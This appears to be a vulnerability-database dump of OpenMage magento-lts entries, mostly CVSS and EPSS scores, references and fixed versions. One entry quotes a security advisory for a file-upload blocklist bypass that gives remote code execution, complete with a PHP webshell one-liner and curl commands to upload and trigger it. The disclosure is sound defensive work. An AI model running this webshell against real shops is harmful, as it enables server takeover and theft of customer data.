scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-gp6m-fq6h-cjcx
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.5.3
purl pkg:composer/openmage/magento-lts@19.5.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-fken-twwj-gkaq
7
vulnerability VCID-mdd4-wk6v-a3cw
8
vulnerability VCID-upex-64ca-uqbf
9
vulnerability VCID-xazc-hmj9-guas
10
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.5.3
1
url pkg:composer/openmage/magento-lts@20.5.0
purl pkg:composer/openmage/magento-lts@20.5.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-fken-twwj-gkaq
7
vulnerability VCID-mdd4-wk6v-a3cw
8
vulnerability VCID-upex-64ca-uqbf
9
vulnerability VCID-xazc-hmj9-guas
10
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.5.0
aliases GHSA-gp6m-fq6h-cjcx
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-dg5g-wnuf-ryad
11
url VCID-dj3k-4q1f-xfbh
vulnerability_id VCID-dj3k-4q1f-xfbh
summary Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in openmage/magento-lts.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2021-41144
reference_id
reference_type
scores
0
value 0.00598
scoring_system epss
scoring_elements 0.69783
published_at 2026-06-04T12:55:00Z
1
value 0.00598
scoring_system epss
scoring_elements 0.69811
published_at 2026-06-08T12:55:00Z
2
value 0.00598
scoring_system epss
scoring_elements 0.69831
published_at 2026-06-06T12:55:00Z
3
value 0.00598
scoring_system epss
scoring_elements 0.69822
published_at 2026-06-07T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2021-41144
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/commit/06c45940ba3256cdfc9feea12a3c0ca56d23acf8
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:18Z/
url https://github.com/OpenMage/magento-lts/commit/06c45940ba3256cdfc9feea12a3c0ca56d23acf8
3
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.22
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:18Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.22
4
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.19
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:18Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.19
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2021-41144
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2021-41144
6
reference_url https://github.com/advisories/GHSA-5j2g-3ph4-rgvm
reference_id GHSA-5j2g-3ph4-rgvm
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-5j2g-3ph4-rgvm
7
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-5j2g-3ph4-rgvm
reference_id GHSA-5j2g-3ph4-rgvm
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:18Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-5j2g-3ph4-rgvm
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.4.22
purl pkg:composer/openmage/magento-lts@19.4.22
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-h9n9-9mxj-zqd6
9
vulnerability VCID-jfan-uqf5-3qhd
10
vulnerability VCID-mdd4-wk6v-a3cw
11
vulnerability VCID-upex-64ca-uqbf
12
vulnerability VCID-xazc-hmj9-guas
13
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.22
1
url pkg:composer/openmage/magento-lts@20.0.19
purl pkg:composer/openmage/magento-lts@20.0.19
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-h9n9-9mxj-zqd6
9
vulnerability VCID-jfan-uqf5-3qhd
10
vulnerability VCID-mdd4-wk6v-a3cw
11
vulnerability VCID-upex-64ca-uqbf
12
vulnerability VCID-xazc-hmj9-guas
13
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.19
aliases CVE-2021-41144, GHSA-5j2g-3ph4-rgvm, GMS-2023-154
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-dj3k-4q1f-xfbh
12
url VCID-fken-twwj-gkaq
vulnerability_id VCID-fken-twwj-gkaq
summary
OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution
The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

## Affected Version

- **Project:** OpenMage/magento-lts
- **Vulnerable File:** `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php`
- **Vulnerable Lines:** 230-237 (`_validateUploadedFile()`)
- **Configuration:** `app/code/core/Mage/Catalog/etc/config.xml:824`

## Root Cause

The file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only:

```xml
<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>
```

This misses the comprehensive `protected_extensions` blocklist defined elsewhere:

```xml
<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml
```

## Vulnerable Code

```php
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}
```

## Steps to Reproduce

### 1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

### 2. Exploitation


```bash
# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "file=@shell.phtml;filename=shell.phtml"
```

**Result:** 
<img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" />

### 3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker
already controls:

**Subdirectory** — `getDispretionPath($filename)` takes the **first two characters** of the
uploaded filename and uses them as nested directory names:

```
filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/
```

**Filename** — `md5(file_get_contents($tmp_name))` is computed over the **raw bytes of the
uploaded payload** (`File.php:245`):

```php
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;
```

Because the attacker writes the webshell themselves, both the filename prefix and file contents are
known **before the upload request is sent**. The full URL can be pre-computed:

```bash
SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"
```

**Result:** RCE Confirmed

<img width="1559" height="827" alt="image" src="https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260" />

## Affected Deployments

| Configuration | Status |
|---------------|--------|
| Apache + mod_php (with `php_flag engine 0`) | SAFE |
| Apache + PHP-FPM | **VULNERABLE** |
| Nginx (reference hardened config) | SAFE |
| Nginx (generic config with .phtml→FPM) | **VULNERABLE** |

## Impact

1. **Remote Code Execution:** Full server compromise through webshell upload
2. **Data Exfiltration:** Access to database credentials, customer PII, payment data
3. **Lateral Movement:** Pivot to internal infrastructure
4. **Supply Chain:** Inject malicious code into served content
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-40488
reference_id
reference_type
scores
0
value 0.0009
scoring_system epss
scoring_elements 0.25511
published_at 2026-06-06T12:55:00Z
1
value 0.0009
scoring_system epss
scoring_elements 0.25406
published_at 2026-06-08T12:55:00Z
2
value 0.0009
scoring_system epss
scoring_elements 0.25465
published_at 2026-06-07T12:55:00Z
3
value 0.0009
scoring_system epss
scoring_elements 0.25524
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-40488
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-3j5q-7q7h-2hhv
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
3
value HIGH
scoring_system generic_textual
scoring_elements
4
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-20T16:44:14Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-3j5q-7q7h-2hhv
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-40488
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-40488
4
reference_url https://github.com/advisories/GHSA-3j5q-7q7h-2hhv
reference_id GHSA-3j5q-7q7h-2hhv
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-3j5q-7q7h-2hhv
fixed_packages
0
url pkg:composer/openmage/magento-lts@20.17.0
purl pkg:composer/openmage/magento-lts@20.17.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-upex-64ca-uqbf
1
vulnerability VCID-xazc-hmj9-guas
2
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.17.0
aliases CVE-2026-40488, GHSA-3j5q-7q7h-2hhv
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-fken-twwj-gkaq
13
url VCID-g75g-ab3s-y7db
vulnerability_id VCID-g75g-ab3s-y7db
summary Cross-Site Request Forgery (CSRF) in openmage/magento-lts.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2021-21395
reference_id
reference_type
scores
0
value 0.00088
scoring_system epss
scoring_elements 0.25278
published_at 2026-06-05T12:55:00Z
1
value 0.00088
scoring_system epss
scoring_elements 0.25154
published_at 2026-06-08T12:55:00Z
2
value 0.00088
scoring_system epss
scoring_elements 0.25211
published_at 2026-06-07T12:55:00Z
3
value 0.00088
scoring_system epss
scoring_elements 0.25182
published_at 2026-06-04T12:55:00Z
4
value 0.00088
scoring_system epss
scoring_elements 0.25261
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2021-21395
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.22
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.22
3
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.19
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.19
4
reference_url https://hackerone.com/reports/1086752
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-10T21:01:23Z/
url https://hackerone.com/reports/1086752
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2021-21395
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2021-21395
6
reference_url https://packagist.org/packages/openmage/magento-lts
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-10T21:01:23Z/
url https://packagist.org/packages/openmage/magento-lts
7
reference_url https://github.com/advisories/GHSA-r3c9-9j5q-pwv4
reference_id GHSA-r3c9-9j5q-pwv4
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-r3c9-9j5q-pwv4
8
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-r3c9-9j5q-pwv4
reference_id GHSA-r3c9-9j5q-pwv4
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
2
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-10T21:01:23Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-r3c9-9j5q-pwv4
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.4.22
purl pkg:composer/openmage/magento-lts@19.4.22
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-h9n9-9mxj-zqd6
9
vulnerability VCID-jfan-uqf5-3qhd
10
vulnerability VCID-mdd4-wk6v-a3cw
11
vulnerability VCID-upex-64ca-uqbf
12
vulnerability VCID-xazc-hmj9-guas
13
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.22
1
url pkg:composer/openmage/magento-lts@20.0.19
purl pkg:composer/openmage/magento-lts@20.0.19
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-h9n9-9mxj-zqd6
9
vulnerability VCID-jfan-uqf5-3qhd
10
vulnerability VCID-mdd4-wk6v-a3cw
11
vulnerability VCID-upex-64ca-uqbf
12
vulnerability VCID-xazc-hmj9-guas
13
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.19
aliases CVE-2021-21395, GHSA-r3c9-9j5q-pwv4, GMS-2023-158
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-g75g-ab3s-y7db
14
url VCID-gewj-4tzh-k3e5
vulnerability_id VCID-gewj-4tzh-k3e5
summary Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in openmage/magento-lts.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2021-41143
reference_id
reference_type
scores
0
value 0.01224
scoring_system epss
scoring_elements 0.7948
published_at 2026-06-05T12:55:00Z
1
value 0.01224
scoring_system epss
scoring_elements 0.79467
published_at 2026-06-08T12:55:00Z
2
value 0.01224
scoring_system epss
scoring_elements 0.79478
published_at 2026-06-07T12:55:00Z
3
value 0.01224
scoring_system epss
scoring_elements 0.79452
published_at 2026-06-04T12:55:00Z
4
value 0.01224
scoring_system epss
scoring_elements 0.79485
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2021-41143
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/commit/45330ff50439984e806992fa22c3f96c4d660f91
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:21Z/
url https://github.com/OpenMage/magento-lts/commit/45330ff50439984e806992fa22c3f96c4d660f91
3
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.22
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:21Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.22
4
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.19
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:21Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.19
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2021-41143
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2021-41143
6
reference_url https://github.com/advisories/GHSA-5vpv-xmcj-9q85
reference_id GHSA-5vpv-xmcj-9q85
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-5vpv-xmcj-9q85
7
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-5vpv-xmcj-9q85
reference_id GHSA-5vpv-xmcj-9q85
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:21Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-5vpv-xmcj-9q85
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.4.22
purl pkg:composer/openmage/magento-lts@19.4.22
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-h9n9-9mxj-zqd6
9
vulnerability VCID-jfan-uqf5-3qhd
10
vulnerability VCID-mdd4-wk6v-a3cw
11
vulnerability VCID-upex-64ca-uqbf
12
vulnerability VCID-xazc-hmj9-guas
13
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.22
1
url pkg:composer/openmage/magento-lts@20.0.19
purl pkg:composer/openmage/magento-lts@20.0.19
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-h9n9-9mxj-zqd6
9
vulnerability VCID-jfan-uqf5-3qhd
10
vulnerability VCID-mdd4-wk6v-a3cw
11
vulnerability VCID-upex-64ca-uqbf
12
vulnerability VCID-xazc-hmj9-guas
13
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.19
aliases CVE-2021-41143, GHSA-5vpv-xmcj-9q85, GMS-2023-155
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-gewj-4tzh-k3e5
15
url VCID-gn12-464m-fkcu
vulnerability_id VCID-gn12-464m-fkcu
summary Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in openmage/magento-lts.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2021-39217
reference_id
reference_type
scores
0
value 0.00724
scoring_system epss
scoring_elements 0.72961
published_at 2026-06-07T12:55:00Z
1
value 0.00724
scoring_system epss
scoring_elements 0.72978
published_at 2026-06-06T12:55:00Z
2
value 0.00724
scoring_system epss
scoring_elements 0.7297
published_at 2026-06-05T12:55:00Z
3
value 0.00724
scoring_system epss
scoring_elements 0.72947
published_at 2026-06-08T12:55:00Z
4
value 0.00724
scoring_system epss
scoring_elements 0.72933
published_at 2026-06-04T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2021-39217
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/commit/289bd4b4f53622138e3e5c2d2cef7502d780086f
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:24Z/
url https://github.com/OpenMage/magento-lts/commit/289bd4b4f53622138e3e5c2d2cef7502d780086f
3
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.22
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
